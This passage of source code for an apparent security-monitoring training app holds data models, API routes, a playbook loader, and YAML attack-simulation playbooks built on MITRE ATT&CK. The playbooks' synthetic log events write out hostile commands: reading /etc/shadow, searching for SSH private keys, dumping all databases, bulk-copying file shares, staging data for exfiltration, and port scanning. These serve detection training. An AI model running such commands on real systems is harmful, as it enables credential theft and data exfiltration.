FloatField,
)
from app.models.Base import BaseDocument
class RunStatus(StrEnum):
"""
Possible states for a scenario run
"""
RUNNING = "running"
COMPLETED = "completed"
STOPPED = "stopped"
PAUSED = "paused"
ERROR = "error"
DEFAULT_SPEED = 1.0
class ScenarioRun(BaseDocument):
"""
Tracks a scenario execution with status and event count
"""
meta: dict[str, Any] = { # noqa: RUF012
"collection": "scenario_runs",
"ordering": ["-started_at"],
}
scenario_name = StringField(required = True)
status = StringField(
required = True,
default = RunStatus.RUNNING,
choices = [s.value for s in RunStatus],
)
started_at = DateTimeField(
default = lambda: datetime.now(UTC),
)
completed_at = DateTimeField()
events_generated = IntField(default = 0)
speed = FloatField(default = DEFAULT_SPEED)
error_message = StringField()
@classmethod
def start_run(cls, scenario_name: str) -> ScenarioRun:
"""
Create a new running scenario record
"""
run = cls(scenario_name = scenario_name)
run.save() # type: ignore[no-untyped-call]
return run
@classmethod
def get_active_runs(cls) -> list[Any]:
"""
Return all runs with running or paused status
"""
return list(cls.objects(status__in = [ # type: ignore[no-untyped-call]
RunStatus.RUNNING,
RunStatus.PAUSED,
]))
def increment_events(self, count: int = 1) -> None:
"""
Atomically increment the generated event counter
"""
self.update(inc__events_generated = count) # type: ignore[no-untyped-call]
self.reload() # type: ignore[no-untyped-call]
def mark_completed(self) -> None:
"""
Set status to completed with a timestamp
"""
self.status = RunStatus.COMPLETED
self.completed_at = datetime.now(UTC)
self.save() # type: ignore[no-untyped-call]
def mark_stopped(self) -> None:
"""
Set status to stopped with a timestamp
"""
self.status = RunStatus.STOPPED
self.completed_at = datetime.now(UTC)
self.save() # type: ignore[no-untyped-call]
def mark_paused(self) -> None:
"""
Set status to paused
"""
self.status = RunStatus.PAUSED
self.save() # type: ignore[no-untyped-call]
def mark_resumed(self) -> None:
"""
Set status back to running from paused
"""
self.status = RunStatus.RUNNING
self.save() # type: ignore[no-untyped-call]
def mark_error(self, message: str) -> None:
"""
Set status to error with a message
"""
self.status = RunStatus.ERROR
self.error_message = message
self.completed_at = datetime.now(UTC)
self.save() # type: ignore[no-untyped-call]
def set_speed(self, speed: float) -> None:
"""
Update the playback speed multiplier
"""
self.speed = speed
self.save() # type: ignore[no-untyped-call]

View File

@ -0,0 +1,155 @@
"""
©AngelaMos | 2026
User.py
"""
from typing import Any
from enum import StrEnum
from mongoengine import (
StringField,
BooleanField,
EmailField,
)
from app.config import settings
from app.models.Base import BaseDocument
class UserRole(StrEnum):
"""
Available user roles
"""
ANALYST = "analyst"
ADMIN = "admin"
USERNAME_MIN = 3
USERNAME_MAX = 32
class User(BaseDocument):
"""
User document with repository query methods
"""
meta: dict[str, Any] = {"collection": "users"} # noqa: RUF012
username = StringField(
required = True,
unique = True,
min_length = USERNAME_MIN,
max_length = USERNAME_MAX,
)
email = EmailField(required = True, unique = True)
password_hash = StringField(required = True)
role = StringField(
required = True,
default = UserRole.ANALYST,
choices = [r.value for r in UserRole],
)
is_active = BooleanField(default = True)
@classmethod
def find_by_username(cls, username: str) -> User | None:
"""
Look up a user by their username
"""
return cls.objects(username = username).first() # type: ignore[no-untyped-call, no-any-return]
@classmethod
def find_by_email(cls, email: str) -> User | None:
"""
Look up a user by their email
"""
return cls.objects(email = email).first() # type: ignore[no-untyped-call, no-any-return]
@classmethod
def username_exists(cls, username: str) -> bool:
"""
Check if a username is already taken
"""
return cls.objects(username = username).count() > 0 # type: ignore[no-untyped-call, no-any-return]
@classmethod
def email_exists(cls, email: str) -> bool:
"""
Check if an email is already registered
"""
return cls.objects(email = email).count() > 0 # type: ignore[no-untyped-call, no-any-return]
@classmethod
def create_user(
cls,
username: str,
email: str,
password_hash: str,
role: str = UserRole.ANALYST,
) -> User:
"""
Create and save a new user with a pre hashed password
"""
user = cls(
username = username,
email = email,
password_hash = password_hash,
role = role,
)
user.save() # type: ignore[no-untyped-call]
return user
@classmethod
def list_all(
cls,
page: int = 1,
per_page: int = settings.DEFAULT_PAGE_SIZE,
) -> dict[str, Any]:
"""
Paginated list of all users ordered by creation date
"""
qs = cls.objects.order_by("-created_at") # type: ignore[attr-defined]
return cls.paginate(qs, page, per_page)
@classmethod
def count_admins(cls) -> int:
"""
Count active users with the admin role
"""
return cls.objects(role = UserRole.ADMIN, is_active = True).count() # type: ignore[no-untyped-call, no-any-return]
def update_profile(self, **fields: str) -> User:
"""
Update mutable profile fields and save
"""
allowed = {"username", "email", "password_hash"}
for key, value in fields.items():
if key in allowed and value is not None:
setattr(self, key, value)
self.save() # type: ignore[no-untyped-call]
return self
def set_role(self, role: str) -> None:
"""
Change the user role and persist
"""
self.role = role
self.save() # type: ignore[no-untyped-call]
def deactivate(self) -> None:
"""
Soft-delete by marking the account inactive
"""
self.is_active = False
self.save() # type: ignore[no-untyped-call]
def activate(self) -> None:
"""
Re-enable a previously deactivated account
"""
self.is_active = True
self.save() # type: ignore[no-untyped-call]
def hard_delete(self) -> None:
"""
Permanently remove the user document
"""
self.delete() # type: ignore[no-untyped-call]

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,30 @@
"""
©AngelaMos | 2026
__init__.py
"""
from flask import Flask
API_PREFIX = "/v1"
def register_blueprints(app: Flask) -> None:
"""
Register all route blueprints under the API version
"""
from app.routes.auth import auth_bp
from app.routes.admin import admin_bp
from app.routes.dashboard import dashboard_bp
from app.routes.logs import logs_bp
from app.routes.alerts import alerts_bp
from app.routes.rules import rules_bp
from app.routes.scenarios import scenarios_bp
app.register_blueprint(auth_bp, url_prefix = f"{API_PREFIX}/auth")
app.register_blueprint(admin_bp, url_prefix = f"{API_PREFIX}/admin")
app.register_blueprint(dashboard_bp, url_prefix = f"{API_PREFIX}/dashboard")
app.register_blueprint(logs_bp, url_prefix = f"{API_PREFIX}/logs")
app.register_blueprint(alerts_bp, url_prefix = f"{API_PREFIX}/alerts")
app.register_blueprint(rules_bp, url_prefix = f"{API_PREFIX}/rules")
app.register_blueprint(scenarios_bp, url_prefix = f"{API_PREFIX}/scenarios")

View File

@ -0,0 +1,80 @@
"""
©AngelaMos | 2026
admin.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import admin_ctrl
from app.core.decorators import endpoint, S, R
from app.models.User import UserRole
from app.schemas.admin import AdminUpdateRoleRequest, AdminUserListParams
admin_bp = Blueprint("admin", __name__)
ADMIN = [UserRole.ADMIN]
@admin_bp.get("/users")
@endpoint(roles = ADMIN)
@S(AdminUserListParams, source = "query")
@R()
def list_users() -> Any:
"""
Paginated list of all user accounts
"""
return admin_ctrl.list_users()
@admin_bp.get("/users/<user_id>")
@endpoint(roles = ADMIN)
@R()
def get_user(user_id: str) -> Any:
"""
Retrieve a single user by ID
"""
return admin_ctrl.get_user(user_id)
@admin_bp.patch("/users/<user_id>/role")
@endpoint(roles = ADMIN)
@S(AdminUpdateRoleRequest)
@R()
def update_role(user_id: str) -> Any:
"""
Change a user's role
"""
return admin_ctrl.update_role(user_id)
@admin_bp.post("/users/<user_id>/deactivate")
@endpoint(roles = ADMIN)
@R()
def deactivate_user(user_id: str) -> Any:
"""
Soft-delete a user account
"""
return admin_ctrl.deactivate_user(user_id)
@admin_bp.post("/users/<user_id>/activate")
@endpoint(roles = ADMIN)
@R()
def activate_user(user_id: str) -> Any:
"""
Re-enable a deactivated user account
"""
return admin_ctrl.activate_user(user_id)
@admin_bp.delete("/users/<user_id>")
@endpoint(roles = ADMIN)
@R()
def delete_user(user_id: str) -> Any:
"""
Permanently remove a user
"""
return admin_ctrl.delete_user(user_id)

View File

@ -0,0 +1,55 @@
"""
©AngelaMos | 2026
alerts.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import alert_ctrl
from app.core.decorators import endpoint, S, R
from app.schemas.alert import AlertStatusUpdate, AlertQueryParams
alerts_bp = Blueprint("alerts", __name__)
@alerts_bp.get("")
@endpoint()
@S(AlertQueryParams, source="query")
@R()
def list_alerts() -> Any:
"""
Return paginated and filtered alerts
"""
return alert_ctrl.list_alerts()
@alerts_bp.get("/stream")
@endpoint()
def stream_alerts() -> Any:
"""
SSE stream of real-time alerts
"""
return alert_ctrl.stream_alerts()
@alerts_bp.get("/<alert_id>")
@endpoint()
@R()
def get_alert_detail(alert_id: str) -> Any:
"""
Return an alert with its matched log events
"""
return alert_ctrl.get_alert_detail(alert_id)
@alerts_bp.patch("/<alert_id>/status")
@endpoint()
@S(AlertStatusUpdate)
@R()
def update_alert_status(alert_id: str) -> Any:
"""
Transition an alert to a new lifecycle status
"""
return alert_ctrl.update_alert_status(alert_id)

View File

@ -0,0 +1,62 @@
"""
©AngelaMos | 2026
auth.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import auth_ctrl
from app.core.decorators import endpoint, S, R
from app.core.rate_limiting import limiter
from app.config import settings
from app.schemas.auth import RegisterRequest, LoginRequest, UpdateProfileRequest
auth_bp = Blueprint("auth", __name__)
@auth_bp.post("/register")
@limiter.limit(settings.RATELIMIT_AUTH)
@endpoint(auth_required = False)
@S(RegisterRequest)
@R(status = 201)
def register() -> Any:
"""
Register a new analyst account
"""
return auth_ctrl.register()
@auth_bp.post("/login")
@limiter.limit(settings.RATELIMIT_AUTH)
@endpoint(auth_required = False)
@S(LoginRequest)
@R()
def login() -> Any:
"""
Authenticate and return a JWT
"""
return auth_ctrl.login()
@auth_bp.patch("/me")
@endpoint()
@S(UpdateProfileRequest)
@R()
def update_profile() -> Any:
"""
Update the authenticated user's own profile
"""
return auth_ctrl.update_profile()
@auth_bp.get("/me")
@endpoint()
@R()
def me() -> Any:
"""
Return the current authenticated user profile
"""
return auth_ctrl.me()

View File

@ -0,0 +1,56 @@
"""
©AngelaMos | 2026
dashboard.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import dashboard_ctrl
from app.core.decorators import endpoint, S, R
from app.schemas.dashboard import TimelineParams, TopSourcesParams
dashboard_bp = Blueprint("dashboard", __name__)
@dashboard_bp.get("")
@endpoint()
@R()
def overview() -> Any:
"""
Return combined dashboard statistics
"""
return dashboard_ctrl.overview()
@dashboard_bp.get("/timeline")
@endpoint()
@S(TimelineParams, source="query")
@R()
def timeline() -> Any:
"""
Return event counts bucketed over a time window
"""
return dashboard_ctrl.timeline()
@dashboard_bp.get("/severity-breakdown")
@endpoint()
@R()
def severity_breakdown() -> Any:
"""
Return event counts grouped by severity level
"""
return dashboard_ctrl.severity_breakdown()
@dashboard_bp.get("/top-sources")
@endpoint()
@S(TopSourcesParams, source="query")
@R()
def top_sources() -> Any:
"""
Return the most frequent source IPs
"""
return dashboard_ctrl.top_sources()

View File

@ -0,0 +1,83 @@
"""
©AngelaMos | 2026
logs.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import log_ctrl
from app.core.decorators import endpoint, S, R
from app.schemas.log_event import (
LogIngestRequest,
LogQueryParams,
LogSearchParams,
PivotParams,
)
logs_bp = Blueprint("logs", __name__)
@logs_bp.get("")
@endpoint()
@S(LogQueryParams, source = "query")
@R()
def list_logs() -> Any:
"""
Return paginated and filtered log events
"""
return log_ctrl.list_logs()
@logs_bp.get("/<log_id>")
@endpoint()
@R()
def get_log(log_id: str) -> Any:
"""
Return a single log event by ID
"""
return log_ctrl.get_log(log_id)
@logs_bp.post("/ingest")
@endpoint(auth_required = False)
@S(LogIngestRequest)
@R(status = 201)
def ingest_log() -> Any:
"""
Ingest a raw log event into the pipeline
"""
return log_ctrl.ingest_log()
@logs_bp.get("/search")
@endpoint()
@S(LogSearchParams, source = "query")
@R()
def search_logs() -> Any:
"""
Full text search across log events
"""
return log_ctrl.search_logs()
@logs_bp.get("/stream")
@endpoint()
def stream_logs() -> Any:
"""
SSE stream of real-time log events
"""
return log_ctrl.stream_logs()
@logs_bp.get("/pivot")
@endpoint()
@S(PivotParams, source = "query")
@R()
def pivot() -> Any:
"""
Forensic pivot by IP, username, or hostname
"""
return log_ctrl.pivot()

View File

@ -0,0 +1,81 @@
"""
©AngelaMos | 2026
rules.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import rule_ctrl
from app.core.decorators import endpoint, S, R
from app.schemas.rule import (
RuleCreateRequest,
RuleUpdateRequest,
RuleTestRequest,
)
rules_bp = Blueprint("rules", __name__)
@rules_bp.get("")
@endpoint()
@R()
def list_rules() -> Any:
"""
Return all correlation rules
"""
return rule_ctrl.list_rules()
@rules_bp.post("")
@endpoint()
@S(RuleCreateRequest)
@R(status=201)
def create_rule() -> Any:
"""
Create a new correlation rule
"""
return rule_ctrl.create_rule()
@rules_bp.get("/<rule_id>")
@endpoint()
@R()
def get_rule(rule_id: str) -> Any:
"""
Return a single correlation rule by ID
"""
return rule_ctrl.get_rule(rule_id)
@rules_bp.patch("/<rule_id>")
@endpoint()
@S(RuleUpdateRequest)
@R()
def update_rule(rule_id: str) -> Any:
"""
Partially update a correlation rule
"""
return rule_ctrl.update_rule(rule_id)
@rules_bp.delete("/<rule_id>")
@endpoint()
@R()
def delete_rule(rule_id: str) -> Any:
"""
Delete a correlation rule
"""
return rule_ctrl.delete_rule(rule_id)
@rules_bp.post("/<rule_id>/test")
@endpoint()
@S(RuleTestRequest)
@R()
def test_rule(rule_id: str) -> Any:
"""
Test a rule against historical log events
"""
return rule_ctrl.test_rule(rule_id)

View File

@ -0,0 +1,87 @@
"""
©AngelaMos | 2026
scenarios.py
"""
from typing import Any
from flask import Blueprint
from app.controllers import scenario_ctrl
from app.core.decorators import endpoint, S, R
from app.schemas.scenario import ScenarioStartRequest, SpeedRequest
scenarios_bp = Blueprint("scenarios", __name__)
@scenarios_bp.get("/available")
@endpoint()
@R()
def list_available() -> Any:
"""
Return metadata for all available playbooks
"""
return scenario_ctrl.list_available()
@scenarios_bp.get("/running")
@endpoint()
@R()
def list_running() -> Any:
"""
Return all active scenario runs
"""
return scenario_ctrl.list_running()
@scenarios_bp.post("/start")
@endpoint()
@S(ScenarioStartRequest)
@R(status = 201)
def start_scenario() -> Any:
"""
Start a new scenario from a playbook file
"""
return scenario_ctrl.start_scenario()
@scenarios_bp.post("/<run_id>/stop")
@endpoint()
@R()
def stop_scenario(run_id: str) -> Any:
"""
Stop an active scenario run
"""
return scenario_ctrl.stop_scenario(run_id)
@scenarios_bp.post("/<run_id>/pause")
@endpoint()
@R()
def pause_scenario(run_id: str) -> Any:
"""
Pause an active scenario run
"""
return scenario_ctrl.pause_scenario(run_id)
@scenarios_bp.post("/<run_id>/resume")
@endpoint()
@R()
def resume_scenario(run_id: str) -> Any:
"""
Resume a paused scenario run
"""
return scenario_ctrl.resume_scenario(run_id)
@scenarios_bp.put("/<run_id>/speed")
@endpoint()
@S(SpeedRequest)
@R()
def set_speed(run_id: str) -> Any:
"""
Adjust playback speed of an active scenario
"""
return scenario_ctrl.set_speed(run_id)

View File

@ -0,0 +1,4 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,130 @@
"""
©AngelaMos | 2026
playbook.py
"""
from typing import Any
from pathlib import Path
from dataclasses import dataclass, field
import yaml
from app.config import settings
@dataclass
class PlaybookEvent:
"""
A single event within a playbook timeline
"""
delay_seconds: float
source_type: str
event_type: str
source_ip: str | None = None
dest_ip: str | None = None
source_port: int | None = None
dest_port: int | None = None
hostname: str | None = None
username: str | None = None
mitre_tactic: str | None = None
mitre_technique: str | None = None
message: str | None = None
metadata: dict[str, Any] = field(default_factory = dict)
extra: dict[str, Any] = field(default_factory = dict)
@dataclass
class Playbook:
"""
A loaded attack scenario with metadata and ordered events
"""
name: str
description: str
mitre_tactics: list[str]
mitre_techniques: list[str]
events: list[PlaybookEvent]
@classmethod
def load(cls, yaml_path: str | Path) -> Playbook:
"""
Parse a YAML playbook file into a Playbook instance
"""
path = Path(yaml_path)
with path.open() as f:
data = yaml.safe_load(f)
events = []
for ev in data.get("events", []):
delay = ev.pop("delay_seconds", 0)
source_type = ev.pop("source_type", "generic")
event_type = ev.pop("event_type", "")
events.append(
PlaybookEvent(
delay_seconds = delay,
source_type = source_type,
event_type = event_type,
source_ip = ev.pop("source_ip",
None),
dest_ip = ev.pop("dest_ip",
None),
source_port = ev.pop("source_port",
None),
dest_port = ev.pop("dest_port",
None),
hostname = ev.pop("hostname",
None),
username = ev.pop("username",
None),
mitre_tactic = ev.pop("mitre_tactic",
None),
mitre_technique = ev.pop("mitre_technique",
None),
message = ev.pop("message",
None),
metadata = ev.pop("metadata",
{}),
extra = ev,
)
)
return cls(
name = data.get("name",
path.stem),
description = data.get("description",
""),
mitre_tactics = data.get("mitre_tactics",
[]),
mitre_techniques = data.get("mitre_techniques",
[]),
events = events,
)
@classmethod
def list_available(cls) -> list[dict[str, Any]]:
"""
Scan the playbooks directory and return metadata for each
"""
playbook_dir = Path(settings.SCENARIO_PLAYBOOK_DIR)
if not playbook_dir.exists():
return []
available = []
for yml_file in sorted(playbook_dir.glob("*.yml")):
with yml_file.open() as f:
data = yaml.safe_load(f)
available.append(
{
"filename": yml_file.name,
"name": data.get("name",
yml_file.stem),
"description": data.get("description",
""),
"mitre_tactics": data.get("mitre_tactics",
[]),
"mitre_techniques": data.get("mitre_techniques",
[]),
"event_count": len(data.get("events",
[])),
}
)
return available

View File

@ -0,0 +1,446 @@
# ©AngelaMos | 2026
# brute_force_lateral.yml
name: Brute Force with Lateral Movement
description: >
Simulates an external attacker brute-forcing SSH credentials on a
perimeter host, gaining access, then moving laterally to internal
servers using stolen credentials. Maps to MITRE ATT&CK Initial
Access and Lateral Movement tactics.
mitre_tactics:
- TA0001
- TA0008
mitre_techniques:
- T1110.001
- T1021.004
events:
- delay_seconds: 0.5
source_type: firewall
event_type: connection_allowed
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
source_port: 48201
dest_port: 22
hostname: fw-edge-01
message: Inbound SSH connection allowed
action: allow
protocol: tcp
rule_name: ssh-management
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.3
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: admin
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.2
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: root
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.2
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: deploy
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: ubuntu
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: jenkins
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: postgres
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: www-data
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: backup
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: sysadmin
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: devops
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: ftpuser
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: testuser
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: operator
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: nagios
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: ansible
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: git
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: docker
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: mysql
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.15
source_type: auth
event_type: login_failure
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: redis
message: Failed SSH login attempt
auth_method: password
result: failure
failure_reason: invalid_password
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 0.8
source_type: ids
event_type: ids_alert
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: ids-sensor-01
message: SSH brute force attack detected
signature_id: 2001219
signature_name: ET SCAN Potential SSH Brute Force
classification: attempted-admin
priority: 1
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 1.5
source_type: auth
event_type: login_success
source_ip: 203.0.113.42
dest_ip: 10.1.1.50
hostname: bastion-01
username: deploy
message: Successful SSH login after brute force
auth_method: password
result: success
service: sshd
mitre_tactic: TA0001
mitre_technique: T1110.001
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.1.50
hostname: bastion-01
username: deploy
message: Credential harvesting via /etc/shadow read
process_name: cat
process_id: 28451
parent_process: bash
command_line: cat /etc/shadow
file_path: /etc/shadow
mitre_tactic: TA0006
mitre_technique: T1003.008
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.1.50
hostname: bastion-01
username: deploy
message: SSH key discovery
process_name: find
process_id: 28467
parent_process: bash
command_line: find / -name id_rsa -type f 2>/dev/null
mitre_tactic: TA0007
mitre_technique: T1552.004
- delay_seconds: 2.5
source_type: firewall
event_type: connection_allowed
source_ip: 10.1.1.50
dest_ip: 10.1.2.10
source_port: 55102
dest_port: 22
hostname: fw-internal-01
message: Internal SSH connection from bastion to app server
action: allow
protocol: tcp
rule_name: internal-ssh
mitre_tactic: TA0008
mitre_technique: T1021.004
- delay_seconds: 1.0
source_type: auth
event_type: login_success
source_ip: 10.1.1.50
dest_ip: 10.1.2.10
hostname: app-server-01
username: deploy
message: Lateral movement SSH login to application server
auth_method: publickey
result: success
service: sshd
mitre_tactic: TA0008
mitre_technique: T1021.004
- delay_seconds: 2.0
source_type: firewall
event_type: connection_allowed
source_ip: 10.1.1.50
dest_ip: 10.1.2.20
source_port: 55118
dest_port: 22
hostname: fw-internal-01
message: Internal SSH connection from bastion to database server
action: allow
protocol: tcp
rule_name: internal-ssh
mitre_tactic: TA0008
mitre_technique: T1021.004
- delay_seconds: 1.0
source_type: auth
event_type: login_success
source_ip: 10.1.1.50
dest_ip: 10.1.2.20
hostname: db-server-01
username: deploy
message: Lateral movement SSH login to database server
auth_method: publickey
result: success
service: sshd
mitre_tactic: TA0008
mitre_technique: T1021.004
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.1.2.20
hostname: db-server-01
username: deploy
message: Database dump on compromised server
process_name: pg_dump
process_id: 31204
parent_process: bash
command_line: pg_dump -U postgres --all-databases -f /tmp/dump.sql
mitre_tactic: TA0009
mitre_technique: T1005

View File

@ -0,0 +1,328 @@
# ©AngelaMos | 2026
# data_exfiltration.yml
name: Data Exfiltration via DNS Tunneling
description: >
Simulates a compromised internal host that performs network
reconnaissance via port scanning, accesses sensitive file shares,
and exfiltrates data using DNS tunneling with high-entropy TXT
queries to an attacker-controlled domain. Based on APT34/OilRig
DNSpionage campaign techniques.
mitre_tactics:
- TA0007
- TA0009
- TA0010
mitre_techniques:
- T1046
- T1005
- T1048.003
- T1071.004
events:
- delay_seconds: 1.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-compromised
username: jdoe
message: Network scanning tool executed for internal reconnaissance
process_name: nmap
process_id: 8201
parent_process: bash
command_line: nmap -sS -p 22,80,443,445,3389,5432 10.0.2.0/24
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 3.0
source_type: firewall
event_type: port_scan
source_ip: 10.0.1.50
dest_ip: 10.0.2.10
source_port: 41001
dest_port: 445
hostname: fw-internal-01
message: SYN scan detected targeting SMB port
action: allow
protocol: tcp
rule_name: internal-all
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 0.5
source_type: firewall
event_type: port_scan
source_ip: 10.0.1.50
dest_ip: 10.0.2.20
source_port: 41002
dest_port: 5432
hostname: fw-internal-01
message: SYN scan detected targeting PostgreSQL port
action: allow
protocol: tcp
rule_name: internal-all
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 0.5
source_type: firewall
event_type: port_scan
source_ip: 10.0.1.50
dest_ip: 10.0.2.30
source_port: 41003
dest_port: 3389
hostname: fw-internal-01
message: SYN scan detected targeting RDP port
action: allow
protocol: tcp
rule_name: internal-all
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 0.5
source_type: firewall
event_type: port_scan
source_ip: 10.0.1.50
dest_ip: 10.0.2.40
source_port: 41004
dest_port: 22
hostname: fw-internal-01
message: SYN scan detected targeting SSH port
action: allow
protocol: tcp
rule_name: internal-all
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 2.0
source_type: ids
event_type: ids_alert
source_ip: 10.0.1.50
dest_ip: 10.0.2.0
hostname: ids-sensor-02
message: Port scan activity detected from workstation
signature_id: 2001219
signature_name: ET SCAN Potential Port Scan
classification: attempted-recon
priority: 2
mitre_tactic: TA0007
mitre_technique: T1046
- delay_seconds: 5.0
source_type: firewall
event_type: connection_allowed
source_ip: 10.0.1.50
dest_ip: 10.0.2.10
source_port: 42301
dest_port: 445
hostname: fw-internal-01
message: SMB connection to file server after reconnaissance
action: allow
protocol: tcp
rule_name: internal-smb
mitre_tactic: TA0008
mitre_technique: T1021.002
- delay_seconds: 2.0
source_type: endpoint
event_type: file_access
source_ip: 10.0.1.50
hostname: file-server-01
username: jdoe
message: Bulk access to confidential financial documents
process_name: smbclient
process_id: 8310
parent_process: bash
command_line: smbclient //10.0.2.10/Finance -U jdoe -c "recurse ON; prompt OFF; mget *"
file_path: //10.0.2.10/Finance/
mitre_tactic: TA0009
mitre_technique: T1005
- delay_seconds: 3.0
source_type: endpoint
event_type: file_access
source_ip: 10.0.1.50
hostname: file-server-01
username: jdoe
message: Customer database export accessed
process_name: smbclient
process_id: 8315
parent_process: bash
command_line: smbclient //10.0.2.10/Databases -U jdoe -c "get customer_export_2026.sql"
file_path: //10.0.2.10/Databases/customer_export_2026.sql
mitre_tactic: TA0009
mitre_technique: T1005
- delay_seconds: 3.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-compromised
username: jdoe
message: Collected data compressed for exfiltration staging
process_name: tar
process_id: 8330
parent_process: bash
command_line: tar czf /tmp/.data.tar.gz /tmp/exfil/
file_path: /tmp/.data.tar.gz
mitre_tactic: TA0009
mitre_technique: T1560.001
- delay_seconds: 2.0
source_type: endpoint
event_type: process_execution
source_ip: 10.0.1.50
hostname: ws-compromised
username: jdoe
